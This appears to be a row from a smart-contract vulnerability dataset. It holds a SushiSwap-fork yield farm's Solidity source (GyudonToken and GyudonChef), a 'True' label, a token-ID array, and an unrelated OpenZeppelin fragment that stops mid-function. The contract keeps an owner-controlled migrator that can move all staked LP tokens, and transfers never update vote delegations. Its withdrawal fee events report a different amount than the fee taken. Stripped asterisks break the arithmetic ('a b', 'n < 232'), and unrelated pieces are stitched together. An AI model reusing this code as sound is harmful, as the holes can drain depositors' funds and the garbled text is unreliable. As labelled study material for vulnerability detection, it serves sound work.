owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.6.5; // GyudonToken with Governance. contract GyudonToken is ERC20("Gyudon.farm", "GYUD"), Ownable { // gyudon is an exact copy of SUSHI using SafeMath for uint256; function transfer(address recipient, uint256 amount) public virtual override returns (bool) { return super.transfer(recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { return super.transferFrom(sender, recipient, amount); } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (GyudonChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /* * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for / function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /* * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to / function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /* * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair / function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GYUD::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "GYUD::delegateBySig: invalid nonce"); require(now <= expiry, "GYUD::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /* * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` / function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /* * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block / function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "GYUD::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying GYUDs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "GYUD::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 232, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/GyudonChef.sol pragma solidity ^0.6.5; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to GyudonSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // GyudonSwap must mint EXACTLY the same amount of GyudonSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // GyudonChef is an exact copy of SushiSwap // we have commented an few lines to remove the dev fund // the rest is exactly the same // GyudonChef is the master of Gyudon. He can make Gyudon and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once GYUD is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract GyudonChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of GYUDs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount pool.accGyudonPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accGyudonPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. GYUDs to distribute per block. uint256 lastRewardBlock; // Last block number that GYUDs distribution occurs. uint256 accGyudonPerShare; // Accumulated GYUDs per share, times 1e12. See below. bool taxable; // Accumulated GYUDs per share, times 1e12. See below. } // The GYUD TOKEN GyudonToken public gyudon; address private devaddr; // Block number when bonus GYUD period ends. uint256 public bonusEndBlock; // GYUD tokens created per block. uint256 public gyudonPerBlock; // Bonus muliplier for early gyudon makers. uint256 public constant BONUS_MULTIPLIER = 1; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when GYUD mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( GyudonToken _gyudon, address _devaddr, uint256 _gyudonPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { gyudon = _gyudon; devaddr = _devaddr; gyudonPerBlock = _gyudonPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = _startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accGyudonPerShare: 0, taxable: _taxable })); } // Update the given pool's GYUD allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; poolInfo[_pid].taxable = _taxable; poolInfo[_pid].lastRewardBlock = _startBlock; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending GYUDs on frontend. function pendingGyudon(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accGyudonPerShare = pool.accGyudonPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accGyudonPerShare = accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accGyudonPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); gyudon.mint(address(this), gyudonReward); pool.accGyudonPerShare = pool.accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to GyudonChef for GYUD allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from GyudonChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); if (pool.taxable) { pool.lpToken.safeTransfer(address(devaddr), _amount.mul(15).div(10000)); pool.lpToken.safeTransfer(address(msg.sender), _amount.sub(_amount.mul(15).div(10000))); emit Withdraw(devaddr, _pid, _amount.mul(25).div(10000)); emit Withdraw(msg.sender, _pid, _amount.sub(_amount.mul(25).div(10000))); } else { pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe gyudon transfer function, just in case if rounding error causes pool to not have enough GYUDs. function safeGyudonTransfer(address _to, uint256 _amount) internal { uint256 gyudonBal = gyudon.balanceOf(address(this)); if (_amount > gyudonBal) { gyudon.transfer(_to, gyudonBal); } else { gyudon.transfer(_to, _amount); } } }	True	[ 101, 1013, 1008, 2013, 2053, 26156, 4599, 1010, 2000, 1996, 2088, 4037, 1024, 16770, 1024, 1013, 1013, 1043, 10513, 5280, 1012, 3888, 1064, 1064, 23921, 1024, 1056, 1012, 2033, 1013, 1043, 10513, 5280, 14971, 2213, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 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/** Submitted for verification at Etherscan.io on 2022-02-28 / // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 